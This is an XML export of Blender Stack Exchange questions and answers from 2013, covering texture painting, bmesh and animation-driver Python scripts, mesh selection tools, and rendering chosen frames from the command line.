  <row Id="4989" PostTypeId="2" ParentId="4983" CreationDate="2013-11-19T12:06:33.990" Score="5" Body="&lt;p&gt;Here's a bmesh script with adjustable factor (in redo panel):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def main(self, context):&#xA;&#xA;    me = context.object.data&#xA;&#xA;    if me.is_editmode:&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;    else:&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(me)&#xA;&#xA;    ret = bmesh.ops.extrude_discrete_faces(bm, faces=[f for f in bm.faces if f.select])&#xA;&#xA;    for f in bm.faces:&#xA;        f.select = False&#xA;&#xA;    for f in ret['faces']:&#xA;        f.select = True&#xA;        vec = f.normal * f.calc_area() * self.factor&#xA;        bmesh.ops.translate(bm, vec=vec, verts=f.verts)&#xA;&#xA;    #bm.normal_update()&#xA;&#xA;    if me.is_editmode:&#xA;        bmesh.update_edit_mesh(me)&#xA;    else:&#xA;        bm.to_mesh(me)&#xA;&#xA;    #me.update()&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.extrude_faces_indiv_area&quot;&#xA;    bl_label = &quot;Extrude Individual Faces (area-proportional)&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    factor = bpy.props.FloatProperty(name=&quot;Factor&quot;, default=1, soft_min=-100, soft_max=100)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH')&#xA;&#xA;    def execute(self, context):&#xA;        main(self, context)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(SimpleOperator.bl_idname, text=&quot;Individual Faces (area-proportional)&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;    bpy.types.VIEW3D_MT_edit_mesh_extrude.append(menu_func)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;    bpy.types.VIEW3D_MT_edit_mesh_extrude.remove(menu_func)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it's pretty slow unfortunately :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worry this comes from the translate op for each face (or vec calculation?), don't think this can be made much faster.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-11-19T12:06:33.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4990" PostTypeId="1" AcceptedAnswerId="4992" CreationDate="2013-11-19T12:53:37.273" Score="5" ViewCount="1805" Body="&lt;p&gt;I want to invert the colors of a texture brush. How can I do that in Blender without using an external program?&lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="20" LastEditDate="2013-11-19T18:25:08.410" LastActivityDate="2013-11-19T18:25:08.410" Title="How to invert a brush texture?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4992" PostTypeId="2" ParentId="4990" CreationDate="2013-11-19T14:16:05.697" Score="6" Body="&lt;p&gt;You can use Texture node, which is supported by the texture paint system, too. Actually, it can be much more powerful than just inverting colors.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open a Node Editor. In the header, switch the Node Type to &lt;strong&gt;Texture&lt;/strong&gt;, and the Data Type to &lt;strong&gt;Brush&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Add an existing &lt;strong&gt;Texture&lt;/strong&gt; or &lt;strong&gt;Image&lt;/strong&gt; node, link it to an &lt;strong&gt;Invert&lt;/strong&gt; node before &lt;strong&gt;Output&lt;/strong&gt;. As shown below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zf8MD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-19T14:16:05.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4994" PostTypeId="1" AcceptedAnswerId="4995" CreationDate="2013-11-19T18:09:59.353" Score="7" ViewCount="996" Body="&lt;p&gt;Using python, how can I check to see if some property (like &lt;code&gt;context.object.location&lt;/code&gt;) has any keyframes, or has a driver attached?&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="12" LastEditDate="2013-11-19T21:50:03.693" LastActivityDate="2013-11-19T23:32:00.603" Title="Check if a property is animated or has a driver" Tags="&lt;animation&gt;&lt;python&gt;&lt;drivers&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4995" PostTypeId="2" ParentId="4994" CreationDate="2013-11-19T19:39:20.247" Score="4" Body="&lt;p&gt;A keyframe check could be done like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def has_keyframe(ob, attr):&#xA;    anim = ob.animation_data&#xA;    if anim is not None and anim.action is not None:&#xA;        for fcu in anim.action.fcurves:&#xA;            if fcu.data_path == attr:&#xA;                return len(fcu.keyframe_points) &amp;gt; 0&#xA;    return False&#xA;&#xA;print(has_keyframe(bpy.context.object, &quot;location&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But don't think there is an easy way to test for drivers.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-11-19T19:39:20.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4997" PostTypeId="1" CreationDate="2013-11-19T21:11:15.403" Score="3" ViewCount="2187" Body="&lt;p&gt;When i paint some textures on my UV-Texture, the image is sometimes pixelated. I don't know how i can adjust the best zoom size of the stencil texture. How can i ensure best quality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tzCit.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1623" LastActivityDate="2013-12-20T01:32:14.993" Title="Texture Paint: Pixelated after texture paint" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4998" PostTypeId="2" ParentId="4997" CreationDate="2013-11-19T22:01:58.993" Score="1" Body="&lt;p&gt;Generally, you should be aware of two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The resolution of the background image.&lt;/li&gt;&#xA;&lt;li&gt;The level of detail of the paint texture.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In your case, I'm not sure how big you build the background image, but if it's 2048 x 2048 px, then, in the current zoom level, the stencil texture may probably covers about 10% of the whole area, which means 648 x 648 px around, far from enough, isn't it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, your stencil texture seems sort of a gravel texture, which means the detail unit is quite small. Obviously, you need enough pixels on the background image to at least cover the detail of the a unit gravel, in order to preserve the original detail as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is: try not to have the background image over zoomed in while painting.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-20T01:14:02.723" LastActivityDate="2013-11-20T01:14:02.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4999" PostTypeId="2" ParentId="4982" CreationDate="2013-11-19T22:40:03.003" Score="0" Body="&lt;p&gt;I would fake it instead of trying to simulate what actually happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to match the reference image you posted, I would use a mix of a translucent/transparent shader and a rough glossy shader (mix with fresnel maybe) and make the ends of the fibres emissive. And you would need to do some post work in the compositor to make the ends glow like in the reference image.&lt;/p&gt;&#xA;" OwnerUserId="1194" LastActivityDate="2013-11-19T22:40:03.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5000" PostTypeId="2" ParentId="4985" CreationDate="2013-11-19T22:44:00.617" Score="2" Body="&lt;p&gt;You could try and make a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Convertor#Quantize.2FRestrict_Color_Selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;node setup which quantizes the colors&lt;/a&gt; automatically, e.g:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QbzAR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;You could do this in cycles by using a mix shader to mix diffuse shaders based on your textures:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up a material that uses black and white textures as to define which color of diffuse should be used where:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GWl2p.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the number of samples to &lt;code&gt;1&lt;/code&gt; in &lt;em&gt;Render settings &amp;gt; Sampling&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3CNkz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Diffuse color pass&lt;/em&gt; in &lt;em&gt;Render layers &amp;gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e45dx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Diffuse color pass&lt;/em&gt; as the output:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YRPsq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;As you can see, only the colors specified in the diffuse nodes are used.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-22T10:06:23.560" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5001" PostTypeId="1" AcceptedAnswerId="7014" CreationDate="2013-11-19T23:15:19.523" Score="2" ViewCount="654" Body="&lt;p&gt;I want to make my camera to act like my illustration below with just some python scripting, because I want this to be changed during runtime. This is for a school project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very sceptic if this is possible, but I hope so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The orhtographic illustration is from the back of two cameras with images below, where the left is regular and the other one is modified. The two images on the bottom is the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XtnVL.png&quot; alt=&quot;Image illustration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for a kind of &quot;point of view&quot; tweaking. Like if you were looking on the image from the side, it would still appear as it was facing you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does not work, then maybe my next idea is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is two cameras from the top view where the right one is modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YZkRS.png&quot; alt=&quot;Image illustration 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2014-02-13T19:14:34.593" Title="Script skew camera in game engine" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5002" PostTypeId="1" AcceptedAnswerId="5006" CreationDate="2013-11-19T23:21:00.193" Score="1" ViewCount="1089" Body="&lt;p&gt;I want to write a python script which downloads images which are drag and dropped into blender from a browser. However, I don't know if this is even possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the following in python?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When an image is dropped into the image editor.&lt;/li&gt;&#xA;&lt;li&gt;The location (URL) from the dropped file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then create an image datablock from the stored image data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-09-28T18:01:40.167" LastActivityDate="2014-09-28T18:01:40.167" Title="Detect drag and dropped files from python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5003" PostTypeId="2" ParentId="4994" CreationDate="2013-11-19T23:32:00.603" Score="2" Body="&lt;p&gt;What we call &quot;drivers&quot; are technically &quot;driven f-curves&quot; attached through a Python object's &lt;code&gt;animation_data&lt;/code&gt; attribute, just like action data. In an object, those attributes are present in &lt;em&gt;the object itself&lt;/em&gt;, its &lt;em&gt;data&lt;/em&gt; (whatever type it is), &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Key.html#bpy.types.Key.animation_data&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;shape keys&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.ParticleSettings.html#bpy.types.ParticleSettings.animation_data&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;particle settings&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Material.html#bpy.types.Material.animation_data&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;materials&lt;/em&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Texture.html#bpy.types.Texture.animation_data&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;textures&lt;/em&gt;&lt;/a&gt;. So we need to check those places to know if there's any driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following sample code is adapted from my driver-copying &lt;a href=&quot;https://github.com/adhihargo/rigging_tools/blob/1fcf98cbdc663beca7ef15995fb37b26e78bbb37/rigging_tools.py#L1110&quot; rel=&quot;nofollow&quot;&gt;operator&lt;/a&gt;, it merely prints the data paths of available animation and driver f-curves:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main():&#xA;    obj = bpy.context.active_object&#xA;&#xA;    # Collect places where animation/driver data possibly present.&#xA;    keyable_list = [getattr(obj.data, 'shape_keys', None)]&#xA;    for ms in obj.material_slots:&#xA;        if not ms:&#xA;            continue&#xA;        keyable_list.append(ms.material)&#xA;        for ts in ms.material.texture_slots:&#xA;            if not ts:&#xA;                continue&#xA;            keyable_list.append(ts.texture)&#xA;    for ps in obj.particle_systems:&#xA;        keyable_list.append(ps.settings)&#xA;    keyable_list.append(obj)&#xA;    keyable_list.append(obj.data)&#xA;&#xA;    # Print data paths of available animation/driver f-curves.&#xA;    for keyable in keyable_list:&#xA;        if not keyable or not keyable.animation_data:&#xA;            continue&#xA;        action = keyable.animation_data.action&#xA;        for fc in keyable.animation_data.drivers:&#xA;            print(fc.data_path)&#xA;        if action:&#xA;            for fc in action.fcurves:&#xA;                print(fc.data_path)&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm keeping it simple, but it's possible to extract only the name of the attribute using e.g. regular expression, if one needs to.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-19T23:32:00.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5004" PostTypeId="1" AcceptedAnswerId="5005" CreationDate="2013-11-19T23:44:24.730" Score="23" ViewCount="76636" Body="&lt;p&gt;I have a .STL file and all of the faces have been converted to triangles so there are hundreds of long thin triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a effective way to select all of the faces in a small area? Something like a circle and when you click every face under that circle is selected.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1165" LastEditDate="2013-11-19T23:47:41.277" LastActivityDate="2018-06-29T21:55:22.160" Title="Select multiple faces at once" Tags="&lt;selection-tools&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5005" PostTypeId="2" ParentId="5004" CreationDate="2013-11-19T23:45:35.847" Score="32" Body="&lt;p&gt;You can toggle selecting all elements with &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Some other basic &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting#Selection_Tools&quot; rel=&quot;noreferrer&quot;&gt;selection tools&lt;/a&gt; are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Circle select&lt;/em&gt; (&lt;kbd&gt;C&lt;/kbd&gt;), which allows you to select with a brush:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pUsWQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Border select&lt;/em&gt; (&lt;kbd&gt;B&lt;/kbd&gt;), which allows you to select with a rectangular region:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xcbry.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Lasso select&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt;), which allows you to select with a free form region:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vxp4B.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To select all elements under the cursor, you can either select in &lt;em&gt;Wireframe&lt;/em&gt; view (&lt;kbd&gt;Z&lt;/kbd&gt;), or disable &lt;em&gt;Limit selection to visible&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rqwwk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Otherwise only visible elements will be selected. (Elements behind other geometry will be ignored).&lt;/p&gt;&#xA;&lt;p&gt;Also see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting#Selection_Tools&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; for more info about selecting.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-24T12:57:07.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5006" PostTypeId="2" ParentId="5002" CreationDate="2013-11-20T00:25:29.673" Score="4" Body="&lt;p&gt;No, it's not possible. In Blender's C code, I found references to &quot;dropboxes&quot; and code to deal with them in different area types, but the process is completely inaccessible through Python (no variables to check, nor callbacks to register).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.object.html#bpy.ops.object.drop_named_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.object.drop_named_image&lt;/code&gt;&lt;/a&gt;, that looks like a modal operator. It supposedly adds a dropped image as an empty, but does nothing when executed and crashes Blender when invoked, so I think it's an internal operator just like &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.mesh.html#bpy.ops.mesh.drop_named_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.mesh.drop_named_image&lt;/code&gt;&lt;/a&gt;. So there's no directly-callable Python operator for drag-and-drop either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, Blender doesn't support URI-formatted filepath.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-20T00:25:29.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5007" PostTypeId="2" ParentId="4982" CreationDate="2013-11-20T02:21:44.243" Score="11" Body="&lt;p&gt;if you just want to have the looks of fiber optics, faking it is a much easier approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is definitely an interesting experiment for Cycles. It was surprisingly easy to achieve the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJQgB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things I learned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the fiber needs to be a volume. Make sure the two ends are closed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Just like a real FO, too much kink in the fiber will kill the internal reflection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried to model the core(high IOR) and the cladding(low IOR) as separate geometry, that didn't seem to work too well. I just ended up using only the core (and basically using air to model the cladding material)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render with lots of bounces. High sample value helps make the image smoother, but if the bounce value is too low, no light will come out of the fiber.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/j931acvyejqiegn/fiberoptics.blend?dl=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2017-08-17T17:54:52.203" LastActivityDate="2017-08-17T17:54:52.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5009" PostTypeId="2" ParentId="4971" CreationDate="2013-11-20T09:15:59.420" Score="1" Body="&lt;p&gt;When in object mode the info panel shows the vertex count of every object in the current scene which includes hidden objects, with a fluid simulation this changes each frame as the fluid mesh changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frame before the fluid simulation starts will show the scene vertex count to use as a basis, lets start at frame -1 and say we have 16 vertices for a simple simulation with a cube for fluid and another for domain. Jump to frame 20 and we have 17184 vertices. By subtracting the 16 vertices we started with we have a fluid mesh with 17168 vertices. For an exact figure I believe the 8 vertices for the domain are included in the deformed fluid mesh so should not be subtracted from the vertex count of the frame.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-11-20T09:15:59.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5010" PostTypeId="1" AcceptedAnswerId="5012" CreationDate="2013-11-20T09:55:30.253" Score="12" ViewCount="9735" Body="&lt;p&gt;I’m making a little movie with using multiple computers. I can't use the network so I've divided the frames of the animation over the computers. Unfortunately now there are frames missing.&lt;/p&gt;&#xA;&lt;p&gt;What I'd like to do is using 1 machine to render all the missing frames. For example: &lt;code&gt;4-24-35-64-143&lt;/code&gt; but ideally in such a way that I don't have to re-start blender multiple times.&lt;/p&gt;&#xA;&lt;p&gt;Is this possible somehow?&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="3710" LastEditDate="2021-03-31T08:26:32.780" LastActivityDate="2021-03-31T08:26:32.780" Title="How to render specific frames of an animation?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="5011" PostTypeId="2" ParentId="5004" CreationDate="2013-11-20T10:05:52.710" Score="7" Body="&lt;p&gt;While you did ask for a specific way to select faces, there are other options that may be helpful with what you want to do. These options change depending on selection mode, shown options should be available in face select mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the select menu you can select all triangles, &lt;strong&gt;EDIT:&lt;/strong&gt; This first option is available through an addon called Mesh: Select Tools and is only available when this addon is enabled. While it is still listed under testing and isn't included with release versions of blender it is available from &lt;a href=&quot;http://developer.blender.org/diffusion/BAC/browse/master/mesh_select_tools/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the blender git repositories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7uh9e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or faces with a similar size or number of sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MOKha.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely what you want to do is convert all those triangles to quads. Even if you select the entire mesh you can convert tris to quads from the mesh menu. While this won't always convert 100% of the triangles it may get you a lot closer with little effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lrYkf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2013-11-21T13:41:18.760" LastActivityDate="2013-11-21T13:41:18.760" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5012" PostTypeId="2" ParentId="5010" CreationDate="2013-11-20T10:08:15.410" Score="16" Body="&lt;p&gt;The fastest way to do it is through command line. Go to the terminal, and execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;path_to_blender&amp;gt; -b &amp;lt;path_to_blendfile&amp;gt; -f &amp;lt;frame1&amp;gt; -f &amp;lt;frame2&amp;gt; -f &amp;lt;frame3&amp;gt; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add as many &lt;code&gt;-f&lt;/code&gt; switch as necessary. For your example, if Blender executable is already in the &lt;code&gt;PATH&lt;/code&gt; variable, and the blend file's output format is already image sequence, the invocation would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b filename.blend -f 4 -f 24 -f 35 -f 64 -f 143&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-20T10:08:15.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5013" PostTypeId="2" ParentId="4956" CreationDate="2013-11-20T10:36:04.377" Score="1" Body="&lt;p&gt;To convert just a single frame of the animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the emitting object selected, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to make all the emitted objects real (convert them from particles into actual objects)&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2013-11-20T11:33:16.083" LastActivityDate="2013-11-20T11:33:16.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5014" PostTypeId="2" ParentId="4969" CreationDate="2013-11-20T10:51:12.893" Score="3" Body="&lt;p&gt;Try increasing the bounces under light paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dMyVT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The direct light preset with caustices gives a very dark image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K296c.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while full global preset gives a golden brown finish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uPFUI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think the SSS being used on the backface may be stopping light passing through the object. The calculation for the mix appears to always give a zero value for the visible faces, by replacing the SSS with another glass shader you get a brighter finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rUFUU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2013-11-20T10:58:27.160" LastActivityDate="2013-11-20T10:58:27.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
